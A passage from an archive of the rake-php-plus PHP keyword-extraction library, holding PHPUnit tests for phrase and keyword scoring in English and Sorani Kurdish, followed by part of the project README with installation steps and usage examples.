$this->assertContains('minimal set', $phrases); $this->assertContains('nonstrict inequations', $phrases); $this->assertContains('solutions', $phrases); $this->assertContains('strict inequations', $phrases); $this->assertContains('system', $phrases); $this->assertContains('systems', $phrases); $this->assertContains('types', $phrases); $this->assertContains('upper bounds', $phrases); } public function testPhrasesExtractAltPatternFile() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $stopwords = StopwordsPatternFile::create('./tests/lang/en_US.ereg.pattern'); $phrases = RakePlus::create($text, $stopwords)->get(); $this->assertContains('algorithms', $phrases); $this->assertContains('compatibility', $phrases); $this->assertContains('components', $phrases); $this->assertContains('considered', $phrases); $this->assertContains('construction', $phrases); $this->assertContains('criteria', $phrases); $this->assertContains('linear diophantine equations', $phrases); $this->assertContains('minimal generating sets', $phrases); $this->assertContains('minimal set', $phrases); $this->assertContains('nonstrict inequations', $phrases); $this->assertContains('solutions', $phrases); $this->assertContains('strict inequations', $phrases); $this->assertContains('system', $phrases); $this->assertContains('systems', $phrases); $this->assertContains('types', $phrases); $this->assertContains('upper bounds', $phrases); } public function testLoadStopwordLangPatternFile() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $stopwords = StopwordsPatternFile::create('./tests/lang/en_US.non_ereg.pattern'); $phrases = RakePlus::create($text, $stopwords)->get(); $this->assertContains('algorithms', $phrases); $this->assertContains('compatibility', $phrases); $this->assertContains('components', $phrases); $this->assertContains('considered', $phrases); $this->assertContains('construction', $phrases); $this->assertContains('criteria', $phrases); $this->assertContains('linear diophantine equations', $phrases); $this->assertContains('minimal generating sets', $phrases); $this->assertContains('minimal set', $phrases); $this->assertContains('nonstrict inequations', $phrases); $this->assertContains('solutions', $phrases); $this->assertContains('strict inequations', $phrases); $this->assertContains('system', $phrases); $this->assertContains('systems', $phrases); $this->assertContains('types', $phrases); $this->assertContains('upper bounds', $phrases); } public function testPhrasesSortedKeys() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $phrases = RakePlus::create($text)->sort()->get(); $this->assertCount(16, $phrases); for ($i = 0; $i < 16; $i++) { $this->assertArrayHasKey(0, $phrases); } } public function testPhrasesSortedValuesAsc() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $phrases = RakePlus::create($text)->sort()->get(); $this->assertCount(16, $phrases); $this->assertEquals('algorithms', $phrases[0]); $this->assertEquals('compatibility', $phrases[1]); $this->assertEquals('components', $phrases[2]); $this->assertEquals('considered', $phrases[3]); $this->assertEquals('construction', $phrases[4]); $this->assertEquals('criteria', $phrases[5]); $this->assertEquals('linear diophantine equations', $phrases[6]); $this->assertEquals('minimal generating sets', $phrases[7]); $this->assertEquals('minimal set', $phrases[8]); $this->assertEquals('nonstrict inequations', $phrases[9]); $this->assertEquals('solutions', $phrases[10]); $this->assertEquals('strict inequations', $phrases[11]); $this->assertEquals('system', $phrases[12]); $this->assertEquals('systems', $phrases[13]); $this->assertEquals('types', $phrases[14]); $this->assertEquals('upper bounds', $phrases[15]); } public function testPhrasesSortedValuesDesc() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $phrases = RakePlus::create($text)->sort('desc')->get(); $this->assertCount(16, $phrases); $this->assertEquals('algorithms', $phrases[15]); $this->assertEquals('compatibility', $phrases[14]); $this->assertEquals('components', $phrases[13]); $this->assertEquals('considered', $phrases[12]); $this->assertEquals('construction', $phrases[11]); $this->assertEquals('criteria', $phrases[10]); $this->assertEquals('linear diophantine equations', $phrases[9]); $this->assertEquals('minimal generating sets', $phrases[8]); $this->assertEquals('minimal set', $phrases[7]); $this->assertEquals('nonstrict inequations', $phrases[6]); $this->assertEquals('solutions', $phrases[5]); $this->assertEquals('strict inequations', $phrases[4]); $this->assertEquals('system', $phrases[3]); $this->assertEquals('systems', $phrases[2]); $this->assertEquals('types', $phrases[1]); $this->assertEquals('upper bounds', $phrases[0]); } public function testScores() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $scores = RakePlus::create($text)->scores(); $this->assertCount(16, $scores); $this->assertArrayHasKey('algorithms', $scores); $this->assertArrayHasKey('compatibility', $scores); $this->assertArrayHasKey('components', $scores); $this->assertArrayHasKey('considered', $scores); $this->assertArrayHasKey('construction', $scores); $this->assertArrayHasKey('criteria', $scores); $this->assertArrayHasKey('linear diophantine equations', $scores); $this->assertArrayHasKey('minimal generating sets', $scores); $this->assertArrayHasKey('minimal set', $scores); $this->assertArrayHasKey('nonstrict inequations', $scores); $this->assertArrayHasKey('solutions', $scores); $this->assertArrayHasKey('strict inequations', $scores); $this->assertArrayHasKey('system', $scores); $this->assertArrayHasKey('systems', $scores); $this->assertArrayHasKey('types', $scores); $this->assertArrayHasKey('upper bounds', $scores); } public function testScoreValuesAsc() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $scores = RakePlus::create($text)->sortByScore()->scores(); $this->assertCount(16, $scores); $this->assertEquals($scores['criteria'], 1); $this->assertEquals($scores['compatibility'], 1); $this->assertEquals($scores['system'], 1); $this->assertEquals($scores['considered'], 1); $this->assertEquals($scores['components'], 1); $this->assertEquals($scores['solutions'], 1); $this->assertEquals($scores['algorithms'], 1); $this->assertEquals($scores['construction'], 1); $this->assertEquals($scores['types'], 1); $this->assertEquals($scores['systems'], 1); $this->assertEquals($scores['strict inequations'], 4); $this->assertEquals($scores['nonstrict inequations'], 4); $this->assertEquals($scores['upper bounds'], 4); $this->assertEquals($scores['minimal set'], 4.5); $this->assertEquals($scores['minimal generating sets'], 8.5); $this->assertEquals($scores['linear diophantine equations'], 9); } public function testScoreValuesDesc() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $scores = RakePlus::create($text)->sortByScore('desc')->scores(); $this->assertCount(16, $scores); $this->assertEquals($scores['criteria'], 1); $this->assertEquals($scores['compatibility'], 1); $this->assertEquals($scores['system'], 1); $this->assertEquals($scores['considered'], 1); $this->assertEquals($scores['components'], 1); $this->assertEquals($scores['solutions'], 1); $this->assertEquals($scores['algorithms'], 1); $this->assertEquals($scores['construction'], 1); $this->assertEquals($scores['types'], 1); $this->assertEquals($scores['systems'], 1); $this->assertEquals($scores['strict inequations'], 4); $this->assertEquals($scores['nonstrict inequations'], 4); $this->assertEquals($scores['upper bounds'], 4); $this->assertEquals($scores['minimal set'], 4.5); $this->assertEquals($scores['minimal generating sets'], 8.5); $this->assertEquals($scores['linear diophantine equations'], 9); } public function testArrayStopwords() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $scores = RakePlus::create($text, ['of', 'a', 'and', 'set', 'are', 'for'])->sortByScore()->scores(); $this->assertEquals($scores['criteria'], 1); $this->assertEquals($scores['compatibility'], 1); $this->assertEquals($scores['system'], 1); $this->assertEquals($scores['considered'], 1); $this->assertEquals($scores['components'], 1); $this->assertEquals($scores['solutions'], 1); $this->assertEquals($scores['algorithms'], 1); $this->assertEquals($scores['construction'], 1); $this->assertEquals($scores['systems'], 1); $this->assertEquals($scores['given'], 1); $this->assertEquals($scores['minimal'], 2); $this->assertEquals($scores['strict inequations'], 4); $this->assertEquals($scores['nonstrict inequations'], 4); $this->assertEquals($scores['upper bounds'], 4); $this->assertEquals($scores['all types'], 4); $this->assertEquals($scores['minimal generating sets'], 8); $this->assertEquals($scores['linear diophantine equations'], 9); } public function testArrayStopwordsNonMb() { self::$mb_support = false; $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $stopwords = StopwordArray::create(['of', 'a', 'and', 'set', 'are', 'for']); $scores = RakePlus::create($text, $stopwords)->sortByScore()->scores(); $this->assertEquals($scores['criteria'], 1); $this->assertEquals($scores['compatibility'], 1); $this->assertEquals($scores['system'], 1); $this->assertEquals($scores['considered'], 1); $this->assertEquals($scores['components'], 1); $this->assertEquals($scores['solutions'], 1); $this->assertEquals($scores['algorithms'], 1); $this->assertEquals($scores['construction'], 1); $this->assertEquals($scores['systems'], 1); $this->assertEquals($scores['given'], 1); $this->assertEquals($scores['minimal'], 2); $this->assertEquals($scores['strict inequations'], 4); $this->assertEquals($scores['nonstrict inequations'], 4); $this->assertEquals($scores['upper bounds'], 4); $this->assertEquals($scores['all types'], 4); $this->assertEquals($scores['minimal generating sets'], 8); $this->assertEquals($scores['linear diophantine equations'], 9); $this->assertEquals(['of', 'a', 'and', 'set', 'are', 'for'], $stopwords->stopwords()); } public function testPHPStopwords() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $scores = RakePlus::create($text, __DIR__ . '/test_en_US.php')->sortByScore()->scores(); $this->assertEquals($scores['criteria'], 1); $this->assertEquals($scores['compatibility'], 1); $this->assertEquals($scores['system'], 1); $this->assertEquals($scores['considered'], 1); $this->assertEquals($scores['components'], 1); $this->assertEquals($scores['solutions'], 1); $this->assertEquals($scores['algorithms'], 1); $this->assertEquals($scores['construction'], 1); $this->assertEquals($scores['types'], 1); $this->assertEquals($scores['systems'], 1); $this->assertEquals($scores['strict inequations'], 4); $this->assertEquals($scores['nonstrict inequations'], 4); $this->assertEquals($scores['upper bounds'], 4); $this->assertEquals($scores['minimal set'], 4.5); $this->assertEquals($scores['minimal generating sets'], 8.5); $this->assertEquals($scores['linear diophantine equations'], 9); } public function testStopWordArrayInstance() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $stopwords = StopwordArray::create(['of', 'a', 'and', 'set', 'are', 'for']); $scores = RakePlus::create($text, $stopwords)->sortByScore()->scores(); $this->assertEquals($scores['criteria'], 1); $this->assertEquals($scores['compatibility'], 1); $this->assertEquals($scores['system'], 1); $this->assertEquals($scores['considered'], 1); $this->assertEquals($scores['components'], 1); $this->assertEquals($scores['solutions'], 1); $this->assertEquals($scores['algorithms'], 1); $this->assertEquals($scores['construction'], 1); $this->assertEquals($scores['systems'], 1); $this->assertEquals($scores['given'], 1); $this->assertEquals($scores['minimal'], 2); $this->assertEquals($scores['strict inequations'], 4); $this->assertEquals($scores['nonstrict inequations'], 4); $this->assertEquals($scores['upper bounds'], 4); $this->assertEquals($scores['all types'], 4); $this->assertEquals($scores['minimal generating sets'], 8); $this->assertEquals($scores['linear diophantine equations'], 9); $this->assertEquals(['of', 'a', 'and', 'set', 'are', 'for'], $stopwords->stopwords()); } public function testStopWordPHPInstance() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $stopwords = StopwordsPHP::createFromLanguage('en_US'); $scores = RakePlus::create($text, $stopwords)->sortByScore()->scores(); $this->assertContains("/lang/en_US.php", $stopwords->filename()); $this->assertEquals($scores['criteria'], 1); $this->assertEquals($scores['compatibility'], 1); $this->assertEquals($scores['system'], 1); $this->assertEquals($scores['considered'], 1); $this->assertEquals($scores['components'], 1); $this->assertEquals($scores['solutions'], 1); $this->assertEquals($scores['algorithms'], 1); $this->assertEquals($scores['construction'], 1); $this->assertEquals($scores['types'], 1); $this->assertEquals($scores['systems'], 1); $this->assertEquals($scores['strict inequations'], 4); $this->assertEquals($scores['nonstrict inequations'], 4); $this->assertEquals($scores['upper bounds'], 4); $this->assertEquals($scores['minimal set'], 4.5); $this->assertEquals($scores['minimal generating sets'], 8.5); $this->assertEquals($scores['linear diophantine equations'], 9); $this->assertInternalType('array', $stopwords->stopwords()); $this->assertGreaterThan(0, count($stopwords->stopwords())); } public function testStopWordPatternFileInstance() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $stopwords = StopwordsPatternFile::createFromLanguage('en_US'); $scores = RakePlus::create($text, $stopwords)->sortByScore()->scores(); $this->assertContains("/lang/en_US.pattern", $stopwords->filename()); $this->assertEquals($scores['criteria'], 1); $this->assertEquals($scores['compatibility'], 1); $this->assertEquals($scores['system'], 1); $this->assertEquals($scores['considered'], 1); $this->assertEquals($scores['components'], 1); $this->assertEquals($scores['solutions'], 1); $this->assertEquals($scores['algorithms'], 1); $this->assertEquals($scores['construction'], 1); $this->assertEquals($scores['types'], 1); $this->assertEquals($scores['systems'], 1); $this->assertEquals($scores['strict inequations'], 4); $this->assertEquals($scores['nonstrict inequations'], 4); $this->assertEquals($scores['upper bounds'], 4); $this->assertEquals($scores['minimal set'], 4.5); $this->assertEquals($scores['minimal generating sets'], 8.5); $this->assertEquals($scores['linear diophantine equations'], 9); } public function testFilterNumerics() { $text = "6462 Little Crest Suite 413 Lake Carlietown, WA 12643"; $rake = RakePlus::create($text, 'en_US', 0, false); $scores = $rake->scores(); $this->assertEquals(false, $rake->getFilterNumerics()); $this->assertCount(3, $scores); $this->assertEquals($scores['6462'], 0); $this->assertEquals($scores['wa 12643'], 1); $this->assertEquals($scores['crest suite 413 lake carlietown'], 16); } public function testDonNotFilterNumerics() { $text = "6462 Little Crest Suite 413 Lake Carlietown, WA 12643"; $scores = RakePlus::create($text, 'en_US', 0, true)->scores(); $this->assertCount(2, $scores); $this->assertEquals($scores['wa 12643'], 1); $this->assertEquals($scores['crest suite 413 lake carlietown'], 16); } public function testMinLengthScores() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $scores = RakePlus::create($text, 'en_US', 10)->sortByScore()->scores(); $this->assertCount(11, $scores); $this->assertEquals($scores['compatibility'], 1); $this->assertEquals($scores['considered'], 1); $this->assertEquals($scores['components'], 1); $this->assertEquals($scores['algorithms'], 1); $this->assertEquals($scores['construction'], 1); $this->assertEquals($scores['strict inequations'], 4); $this->assertEquals($scores['nonstrict inequations'], 4); $this->assertEquals($scores['upper bounds'], 4); $this->assertEquals($scores['minimal set'], 4.5); $this->assertEquals($scores['minimal generating sets'], 8.5); $this->assertEquals($scores['linear diophantine equations'], 9); } public function testKeywords() { $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $keywords = RakePlus::create($text)->keywords(); $this->assertCount(22, $keywords); $this->assertContains('criteria', $keywords); $this->assertContains('compatibility', $keywords); $this->assertContains('system', $keywords); $this->assertContains('linear', $keywords); $this->assertContains('diophantine', $keywords); $this->assertContains('equations', $keywords); $this->assertContains('strict', $keywords); $this->assertContains('inequations', $keywords); $this->assertContains('nonstrict', $keywords); $this->assertContains('considered', $keywords); $this->assertContains('upper', $keywords); $this->assertContains('bounds', $keywords); $this->assertContains('components', $keywords); $this->assertContains('minimal', $keywords); $this->assertContains('set', $keywords); $this->assertContains('solutions', $keywords); $this->assertContains('algorithms', $keywords); $this->assertContains('construction', $keywords); $this->assertContains('generating', $keywords); $this->assertContains('sets', $keywords); $this->assertContains('types', $keywords); $this->assertContains('systems', $keywords); } public function testKeywordsWithNumbers() { $text = "6462 Little Crest Suite 413, Lake Carlietown, WA 12643"; $keywords = RakePlus::create($text, 'en_US', 0, false)->keywords(); $this->assertCount(8, $keywords); $this->assertContains('6462', $keywords); $this->assertContains('crest', $keywords); $this->assertContains('suite', $keywords); $this->assertContains('lake', $keywords); $this->assertContains('carlietown', $keywords); $this->assertContains('wa', $keywords); $this->assertContains('12643', $keywords); foreach ($keywords as $keyword) { $this->assertInternalType('string', $keyword); } } public function testKeywordsWithHyphens() { $text = "Because of the dominance of the Linux kernel-based Android OS on smartphones, Linux has the " . "largest installed base of all general-purpose operating systems."; $keywords = RakePlus::create($text, 'en_US', 0, false)->keywords(); $this->assertCount(12, $keywords); $this->assertContains('dominance', $keywords); $this->assertContains('linux', $keywords); $this->assertContains('kernel-based', $keywords); $this->assertContains('android', $keywords); $this->assertContains('os', $keywords); $this->assertContains('smartphones', $keywords); $this->assertContains('largest', $keywords); $this->assertContains('installed', $keywords); $this->assertContains('general-purpose', $keywords); $this->assertContains('operating', $keywords); $this->assertContains('systems', $keywords); } public function testPhrasesWithHyphens() { $text = "Because of the dominance of the Linux kernel-based Android OS on smartphones, Linux has the " . "largest installed base of all general-purpose operating systems. More C-class articles can be read ". "on Wikipedia."; $phrases = RakePlus::create($text, 'en_US', 0, false)->get(); $this->assertCount(9, $phrases); $this->assertContains('dominance', $phrases); $this->assertContains('linux kernel-based android os', $phrases); $this->assertContains('smartphones', $phrases); $this->assertContains('linux', $phrases); $this->assertContains('largest installed base', $phrases); $this->assertContains('general-purpose operating systems', $phrases); $this->assertContains('c-class articles', $phrases); $this->assertContains('read', $phrases); $this->assertContains('wikipedia', $phrases); } public function testPhrasesWithContractions() { $text = "It's of great importance that you're testing this properly. We'll make sure that there's no " . "could've, would've, should've situations this time around."; $phrases = RakePlus::create($text, 'en_US', 0, false)->get(); $this->assertCount(6, $phrases); $this->assertContains('great importance', $phrases); $this->assertContains('testing', $phrases); $this->assertContains('properly', $phrases); $this->assertContains('make', $phrases); $this->assertContains('situations', $phrases); $this->assertContains('time', $phrases); } public function testWithOwnParseOptions() { $text = "It's of great importance that you're testing this properly. We'll make sure that there's no " . "could've, would've, should've situations this time around."; $phrases = RakePlus::create($text, 'en_US', 0, false, LangParseOptions::create())->get(); $this->assertCount(6, $phrases); $this->assertContains('great importance', $phrases); $this->assertContains('testing', $phrases); $this->assertContains('properly', $phrases); $this->assertContains('make', $phrases); $this->assertContains('situations', $phrases); $this->assertContains('time', $phrases); } /** * @expectedException InvalidArgumentException */ public function testWithInvalidParseOptions() { $text = "It's of great importance that you're testing this properly. We'll make sure that there's no " . "could've, would've, should've situations this time around."; RakePlus::create($text, 'en_US', 0, false, new stdClass())->get(); } } res/rake-php-plus/tests/lang_ckb_IQ_Test.php000064400000006014147577714370015057 0ustar00get(); $this->assertCount(7, $phrases); $this->assertContains('كوردێكی دانیشتوی Ùینلاند', $phrases); $this->assertContains('تابلۆیه‌كی به‌ ناوی', $phrases); $this->assertContains('ڤایرۆسی كۆرۆنا', $phrases); $this->assertContains('كێشا', $phrases); $this->assertContains('ئێسته‌ له‌ یه‌كێك له‌ به‌ناوبانگترین ماڵپه‌ڕه‌كانی Ùرۆشتنی تابلۆی ئۆنلاین', $phrases); $this->assertContains('خستویه‌تییه‌ڕو', $phrases); $this->assertContains('Ùرۆشتن', $phrases); } public function testGeneralKurdishKeywords() { $text = "كوردێكی دانیشتوی Ùینلاند، تابلۆیه‌كی به‌ ناوی \"ڤایرۆسی كۆرۆنا\" كێشا، ئێسته‌ له‌ یه‌كێك له‌ به‌ناوبانگترین ماڵپه‌ڕه‌كانی Ùرۆشتنی تابلۆی ئۆنلاین، خستویه‌تییه‌ڕو بۆ Ùرۆشتن."; $keywords = RakePlus::create($text, 'ckb_IQ', 0, false)->keywords(); $this->assertCount(19, $keywords); $this->assertContains('كوردێكی', $keywords); $this->assertContains('دانیشتوی', $keywords); $this->assertContains('Ùینلاند', $keywords); $this->assertContains('تابلۆیه‌كی', $keywords); $this->assertContains('به‌', $keywords); $this->assertContains('ناوی', $keywords); $this->assertContains('ڤایرۆسی', $keywords); $this->assertContains('كۆرۆنا', $keywords); $this->assertContains('كێشا', $keywords); $this->assertContains('ئێسته‌', $keywords); $this->assertContains('له‌', $keywords); $this->assertContains('یه‌كێك', $keywords); $this->assertContains('به‌ناوبانگترین', $keywords); $this->assertContains('ماڵپه‌ڕه‌كانی', $keywords); $this->assertContains('Ùرۆشتنی', $keywords); $this->assertContains('تابلۆی', $keywords); $this->assertContains('ئۆنلاین', $keywords); $this->assertContains('خستویه‌تییه‌ڕو', $keywords); $this->assertContains('Ùرۆشتن', $keywords); } } res/rake-php-plus/README.md000064400000037167147577714370011350 0ustar00# rake-php-plus A keyword and phrase extraction library based on the Rapid Automatic Keyword Extraction algorithm (RAKE). [![Latest Stable Version](https://poser.pugx.org/donatello-za/rake-php-plus/v/stable)](https://packagist.org/packages/donatello-za/rake-php-plus) [![Total Downloads](https://poser.pugx.org/donatello-za/rake-php-plus/downloads)](https://packagist.org/packages/donatello-za/rake-php-plus) [![License](https://poser.pugx.org/donatello-za/rake-php-plus/license)](https://packagist.org/packages/donatello-za/rake-php-plus) ## Introduction Keywords describe the main topics expressed in a document/text. Keyword *extraction* in turn allows for the extraction of important words and phrases from text. Extracted keywords can be used for things like: - Building a list of useful tags out of a larger text - Building search indexes and search engines - Grouping similar content by its topic. Extracted phrases can be used for things like: - Highlighting important areas of a larger text - Language or documentation analysis - Building intelligent searches based on contextual terms This library provides an easy method for PHP developers to get a list of keywords and phrases from a string of text and is based on another smaller and unmaintained project called [RAKE-PHP](https://github.com/Richdark/RAKE-PHP) by Richard FilipÄík, which is a translation from a Python implementation simply called [RAKE](https://github.com/aneesha/RAKE). > *As described in: Rose, S., Engel, D., Cramer, N., & Cowley, W. (2010). [Automatic Keyword Extraction from Individual Documents](https://www.researchgate.net/publication/227988510_Automatic_Keyword_Extraction_from_Individual_Documents). In M. W. Berry & J. Kogan (Eds.), Text Mining: Theory and Applications: John Wiley & Sons.* This particular package intends to include the following benefits over the original [RAKE-PHP](https://github.com/Richdark/RAKE-PHP) package: 1. [PSR-2](http://www.php-fig.org/psr/psr-2/) coding standards. 2. [PSR-4](http://www.php-fig.org/psr/psr-4/) to be [Composer](https://getcomposer.org) installable. 3. Additional functionality such as method chaining. 4. Multiple ways to provide source stopwords. 5. Full unit test coverage. 6. Performance improvements. 7. Improved documentation. 8. Easy language integration and multibyte string support. ## Currently Supported Languages * Afrikaans (af_ZA) * Arabic (United Arab Emirates)/لإمارات العربية المتحدة (ar_AE) * Brazilian Portuguese/português do Brasil (pt_BR) * English US (en_US) * European Portuguese/português europeu (pt_PT) * French/le français (fr_FR) * German (Germany)/Deutsch (Deutschland) (de_DE) * Italian/italiano (it_IT) * Polish/jÄ™zyk polski (pl_PL) * Russian/руÑÑкий Ñзык (ru_RU) * Sorani Kurdish/سۆرانی (ckb_IQ) * Spanish/español (es_AR) * Tamil/தமிழ௠(ta_TA) * Turkish/Türkçe (tr_TR) * Persian/Farsi/Ùارسی (fa_IR) * Dutch/Nederlands (nl_NL) > If your language is not listed here it can be added, please see the section called **[How to add additional languages](#how-to-add-additional-languages)** at the bottom of the page. ## Version v1.0.18 ## Special Thanks * [JarosÅ‚aw Wasilewski](https://github.com/Orajo): Polish language and improving multi-byte support. * [Lev Morozov](https://github.com/levmorozov): French and Russian languages. * [Igor Carvalho](https://github.com/Carvlho): Brazilian Portuguese language. * [Khoshbin Ali Ahmed](https://github.com/Xoshbin): Sorani Kurdish and Arabic languages. * [RhaPT](https://github.com/RhaPT): European Portuguese language. * [Peter Thaleikis](https://github.com/spekulatius): German language. * [Yusuf Usta](https://github.com/yusufusta): Turkish language. * [orthosie](https://github.com/orthosie): Tamil language. * [ScIEnzY](https://github.com/ScIEnzY): Italian language. * [Reza Rabbani](https://github.com/thrashzone13): Persian language. * [Anne van der Aar](https://github.com/annevanderaar): Dutch language. ## Installation ### With Composer ```bash $ composer require donatello-za/rake-php-plus ``` ```json { "require": { "donatello-za/rake-php-plus": "^1.0" } } ``` ```php get(); print_r($phrases); ``` ``` Array ( [0] => criteria [1] => compatibility [2] => system [3] => linear diophantine equations [4] => strict inequations [5] => nonstrict inequations [6] => considered [7] => upper bounds [8] => components [9] => minimal set [10] => solutions [11] => algorithms [12] => construction [13] => minimal generating sets [14] => types [15] => systems ) ``` ## Example 2 Creates a new instance of RakePlus, extract the phrases in different orders and also shows how to get the phrase scores. ```php use DonatelloZa\RakePlus\RakePlus; $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; // Note: en_US is the default language. $rake = RakePlus::create($text, 'en_US'); // 'asc' is optional and is the default sort order $phrases = $rake->sort('asc')->get(); print_r($phrases); ``` ``` Array ( [0] => algorithms [1] => compatibility [2] => components [3] => considered [4] => construction [5] => criteria [6] => linear diophantine equations [7] => minimal generating sets [8] => minimal set [9] => nonstrict inequations [10] => solutions [11] => strict inequations [12] => system [13] => systems [14] => types [15] => upper bounds ) ``` ```php // Sort in descending order $phrases = $rake->sort('desc')->get(); print_r($phrases); ``` ``` Array ( [0] => upper bounds [1] => types [2] => systems [3] => system [4] => strict inequations [5] => solutions [6] => nonstrict inequations [7] => minimal set [8] => minimal generating sets [9] => linear diophantine equations [10] => criteria [11] => construction [12] => considered [13] => components [14] => compatibility [15] => algorithms ) ``` ```php // Sort the phrases by score and return the scores $phrase_scores = $rake->sortByScore('desc')->scores(); print_r($phrase_scores); ``` ``` Array ( [linear diophantine equations] => 9 [minimal generating sets] => 8.5 [minimal set] => 4.5 [strict inequations] => 4 [nonstrict inequations] => 4 [upper bounds] => 4 [criteria] => 1 [compatibility] => 1 [system] => 1 [considered] => 1 [components] => 1 [solutions] => 1 [algorithms] => 1 [construction] => 1 [types] => 1 [systems] => 1 ) ``` ```php // Extract phrases from a new string on the same RakePlus instance. Using the // same RakePlus instance is faster than creating a new instance as the // language files do not have to be re-loaded and parsed. $text = "A fast Fourier transform (FFT) algorithm computes..."; $phrases = $rake->extract($text)->sort()->get(); print_r($phrases); ``` ``` Array ( [0] => algorithm computes [1] => fast fourier transform [2] => fft ) ``` ## Example 3 Creates a new instance of RakePlus and extract the unique keywords from the phrases. ```php use DonatelloZa\RakePlus\RakePlus; $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $keywords = RakePlus::create($text)->keywords(); print_r($keywords); ``` ``` Array ( [0] => criteria [1] => compatibility [2] => system [3] => linear [4] => diophantine [5] => equations [6] => strict [7] => inequations [8] => nonstrict [9] => considered [10] => upper [11] => bounds [12] => components [13] => minimal [14] => set [15] => solutions [16] => algorithms [17] => construction [18] => generating [19] => sets [20] => types [21] => systems ) ``` ## Example 4 Creates a new instance of RakePlus without using the static RakePlus::create method. ```php use DonatelloZa\RakePlus; $text = "Criteria of compatibility of a system of linear Diophantine equations, " . "strict inequations, and nonstrict inequations are considered. Upper bounds " . "for components of a minimal set of solutions and algorithms of construction " . "of minimal generating sets of solutions for all types of systems are given."; $rake = new RakePlus(); $phrases = $rake->extract()->get(); // Alternative method: $phrases = (new RakePlus($text))->get(); ``` ## Example 5 You can provide custom stopwords in four different ways: ```php use DonatelloZa\RakePlus\RakePlus; // 1: The standard way (provide a language code) // RakePlus will first look for ./lang/en_US.pattern, if // not found, it will look for ./lang/en_US.php. $rake = RakePlus::create($text, 'en_US'); // 2: Pass an array containing stopwords $rake = RakePlus::create($text, ['a', 'able', 'about', 'above', ...]); // 3: Pass the name of a PHP or pattern file, // see lang/en_US.php and lang/en_US.pattern for examples. $rake = RakePlus::create($text, '/path/to/my/stopwords.pattern'); // 4: Create an instance of one of the stopword provider classes (or // create your own) and pass that to RakePlus: $stopwords = StopwordArray::create(['a', 'able', 'about', 'above', ...]); $rake = RakePlus::create($text, $stopwords); ``` ## Example 6 You can specify the minimum number of characters that a phrase\keyword must be and if less than the minimum it will be filtered out. The default is 0 (no minimum). ```php use DonatelloZa\RakePlus\RakePlus; $text = '6462 Little Crest Suite, 413 Lake Carlietown, WA 12643'; // Without a minimum $phrases = RakePlus::create($text, 'en_US', 0)->get(); print_r($phrases); ``` ``` Array ( [0] => crest suite [1] => 413 lake carlietown [2] => wa 12643 ) ``` ```php // With a minimum $phrases = RakePlus::create($text, 'en_US', 10)->get(); print_r($phrases); ``` ``` Array ( [0] => crest suite [1] => 413 lake carlietown ) ``` ## Example 7 You can specify whether phrases\keywords that consists of a numeric number only should be filtered out or not. The default is to filter out numerics. ```php use DonatelloZa\RakePlus\RakePlus; $text = '6462 Little Crest Suite, 413 Lake Carlietown, WA 12643'; // Filter out numerics $phrases = RakePlus::create($text, 'en_US', 0, true)->get(); print_r($phrases); ``` ```Array ( [0] => crest suite [1] => 413 lake carlietown [2] => wa 12643 